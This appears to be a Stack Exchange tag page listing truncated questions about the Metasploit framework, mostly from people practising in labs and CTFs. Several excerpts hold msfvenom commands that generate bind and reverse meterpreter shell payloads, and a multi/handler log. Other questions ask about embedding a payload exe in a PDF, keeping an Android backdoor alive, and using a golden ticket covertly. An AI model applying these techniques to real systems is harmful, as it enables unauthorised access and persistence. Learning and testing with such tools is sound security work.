The Stack Overflow podcast is back! Listen to an interview with our new CEO.

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
-1
votes
0answers
42 views

Shellcode is jumped to and executed but runs into error

I am really at a loss trying to understand why a Metasploit Windows payload is indeed reached (see snapshot from Immunity below), executed (at least partially), but doesn't pop a calc.exe at all. The ...
3
votes
1answer
113 views

How can we embed an exe containing a payload into a pdf file [on hold]

I have created an exe with a payload which gives me a meterpreter session. But I need to embed this exe into a pdf. Upon opening the pdf the exe ideally should get executed. Is there any way to do ...
0
votes
0answers
34 views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
1
vote
2answers
69 views

Metasploit multi handler reverse tcp connection

Can we listen for 10 connections at once using any options present in Metasploit.
0
votes
0answers
36 views

ms08_067_netapi exploit & pivoting problem

I'm having troubles with ms08_067_netapi. I have a private network with a web server (10.10.2.10), windows 7 (10.10.2.8) and windows XP (10.10.2.9). I'm hacking from outside the private network with ...
2
votes
1answer
50 views

why my Metasploit folder does not have wordlists folder (usr/share/)?

I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config. I am not sure how that happened but my msf is updated. Is there any ...
1
vote
0answers
28 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
0
votes
1answer
42 views

metasploit openvas plugin not connecting to OpenVAS9-Manager

I recently installed openvas9 following this guide. I can log into the web interface on port 4000 just fine, and I ran a scan on my metasploitable VM for testing, and it seems good. Now I wanted to ...
-2
votes
1answer
89 views

Metasploit targets list import [closed]

I would like to know if in metasploit for any given exploit its possible to use a target list instead of a single target and if possible how is that done?
-2
votes
2answers
114 views

Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
0
votes
0answers
351 views

How to make metasploit backdoor persistent in Android?

I created a payload with msfvenom and installed it on Android smartphone, but after a reboot or long time without use, it stops working, because the OS kills the process. Is there any way to ...
0
votes
0answers
22 views

Snort rules to detect metasploit's trojan [duplicate]

I'm currently working on Snort and I'm trying to detect meterpreter sessions in reverse TCP or HTTPS, a Trojan ... Does anyone know snort rules in order to detect this? Despite my research, I found ...
2
votes
1answer
172 views

Stored XSS + PHP Backdoor + File upload vulnerability

I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS. My route of attack is: Upload a PHP backdoor which I built with msfvenom Go to ...
0
votes
1answer
58 views

Is exploit different from the kernel level or root?

i'm searching privilage escalation. there is some way if you looking at. i trying exploit in my lab machine like vulnhub. there is a diagram for understanding differents. anyway I told you a little. ...
0
votes
0answers
161 views

Failed to load module: [Directory/tomcat_cgi_cmdlineargs]?

Note: Only for educational purposes. Basically I am studying CVE-2019-0232, as It says in the cvedetails description its a RCE exploit and a module from rapid 7 has been provide at the bottom of the ...
0
votes
0answers
42 views

Meterpreter shell not presenting results

After successfully running an exploit from Metasploit (Drupageddon), I am trying to run commands through the shell command in meterpreter. However, it displays prompts but not the results of any other ...
1
vote
0answers
121 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
0
votes
0answers
54 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
0
votes
1answer
95 views

SSH_login not prompting meterprepter?

So Basically I am trying to create a SSH session in metasploit. session opens successfully when I do sessions #, it prints [*] Starting interaction with 4... but when I do a dir, no result or no ...
0
votes
0answers
123 views

Error: Inavlid template facebook.apk while using metasploit for hacking android

I am learning ethical hacking recently. I installed Metasploit on my Ubuntu system. While I'm building the payload, I'm getting the following error message: error : Invalid template:facebook.apk I'm ...
0
votes
1answer
215 views

Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)

I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...
1
vote
1answer
135 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
-1
votes
0answers
42 views

Linux Kernel exploitation via MSFconsole

I am running a server with the service Linux kernel to practice pentesting with metasploit. I am trying to use CVE-2019-10124 to take it down, however I don't really know how to. I am aware that ...
0
votes
2answers
313 views

Metasploit Starts attacking multiple targets, results in “address is already in use”

I am attempting to pentest multiple Weblogic servers, however, when I "run" or "exploit" or even "exploit -J", metasploit begins to attack multiple targets at once, which results in "address is ...
0
votes
0answers
696 views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
1answer
92 views

Prevent Handler From Starting On Exploit

Ok, I want to be able to start up my handler in the background, and then attack multiple targets without each exploit starting its on handler... For instance, when I am attacking a target... [*] ...
0
votes
0answers
227 views

MetaSploit db_import IP Address List

I have confirmed that msfconsole is connected to the database, and I have issued to the following commands... msf5 > db_status [*] Connected to remote_data_service: (https://localhost:5443). ...
1
vote
0answers
73 views

How do i pivot over WAN

How would i be able to pivot into a internal network over the internet (WAN)? For example: I have a vps with metasploit installed and have a listener running and got a few meterpreter sessions, how ...
0
votes
0answers
116 views

Meterpreter Upload won't work

I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response upload /...
1
vote
0answers
141 views

Use Kerberos Golden Ticket with Metasploit

Having compromised a domain controller during testing, I now wish to create persistent domain admin access. Also, operational security is important for me as I don't want to be logging into netowkr ...
0
votes
0answers
47 views

Migrate into different process each time a shell spawns

I'm trying to migrate into a new process whenever I get a session. I did this by using set autorunscript migrate -f and also set prependmigrate true but the problem is whenever I get 2+ shells on the ...
0
votes
0answers
50 views

Is Metasploit payload stored locally or residing in memory temporarily on a victim's device?

A simple question on where the payload is when being exploited. Tried some testing on metasploit and got a message saying the payload's been uploaded successfully under /tmp in a linux target machine ...
0
votes
1answer
549 views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
0answers
124 views

Meterpreter Over HTTPS Proxy

I have a proxy server on the WAN as well as my box open to the WAN. I want this proxy server to (when it receives a shell), route it to my host so it can be the "man in the middle" between my ...
1
vote
0answers
577 views

127.0.0.1 - Meterpreter session 2 closed. Reason: Died

I am new at metasploit and am trying to pentest an Android 5.1 device, so I setup for a stageFright attack but am having this issue: the 'meterpreter session closed' immediately, and the ngrok ...
1
vote
0answers
114 views

Metasploit wmap_run -e freezes on auxiliary/scanner/http/brute_dirs module, returns 404

I am trying to run a wmap scan on a web app locally on my Mac. But when wmap reached File/Dir testing, more specifically the brute force module, it does not show anything for path (even though the ...
0
votes
0answers
21 views

Using stack-based memory_dump, the value of esp in query_regs is always 0

I was trying to use https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb using the stack-based method. However it wasn't working. What I do is ...
3
votes
0answers
136 views

How is it possible that the Metasploit meterpreter can take pictures without “notifying” the user?

Im curious how the Meterpreter can take pictures from my webcam without turning on the webcam LED? Ive read that you have to write/change a driver, or a firmware, or you just change some DLLs, but ...
0
votes
1answer
154 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
2
votes
1answer
585 views

openVAS: uninitialized constant OpenVASOMP::OMPConnectionError [closed]

I was searching in many forums regarding this issue like here and here, but they were mentioning using port 9390. I launched OpenVAS on port 9390, but I still get the same error. I am using openVAS ...
1
vote
1answer
591 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
0
votes
0answers
144 views

Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux

Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
0
votes
0answers
108 views

Metasploit - AutoRunScript for a shell session

I have a bunch of bash commands I want to run when the shell_reverse_tcp session is hooked. I tried to : put all my commands into a file mycommands.bash then "set AutoRunScript mycommands.bash" -> ...
0
votes
0answers
121 views

ms08_067_netapi Fingerprint: Unknown - - lang:Unknown

I'm trying to get my first exploit to work on metasploit. I'm working with the book "Penetration Testing - A hands-on introduction to Hacking". I'm trying to use the ms08_76_netpi exploit on Windows ...
-1
votes
1answer
75 views

msfvenom produces different op codes when format is given with 'c' instead of 'python'

I still do not understand the msfvenom format ( -f ) parameter regarding the resulting op codes. I do not understand why a payload consists of different op codes when the format ( -f ) is different, ...
0
votes
0answers
73 views

Metasploit : How to put non-post modules in an AutoRunScript

In multi/handler I want to add some AutoRunScripts when the session begins : exploit/osx/local/persistence. But it doesn't work because it's not a post/ module.
1
vote
1answer
103 views

Metasploit: java_signed_applet attack hangs after user response

I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
0
votes
1answer
437 views

Metasploit Handler doesnt show options

I am trying to use exploit/multi/handler module which I have used before and it does not allow me to set options. The options commands displays nothing. I tried reinstalling (apt-get remove metasploit-...
-1
votes
1answer
127 views

How to identify the vulnerabilities in a target computer?

I ran an exploit on the victim and used a msfvenom payload. I am on the victim's computer but I have not the root privileges. I tried to use getsystem command for getting privilege but it failed. So ...
0
votes
0answers
209 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...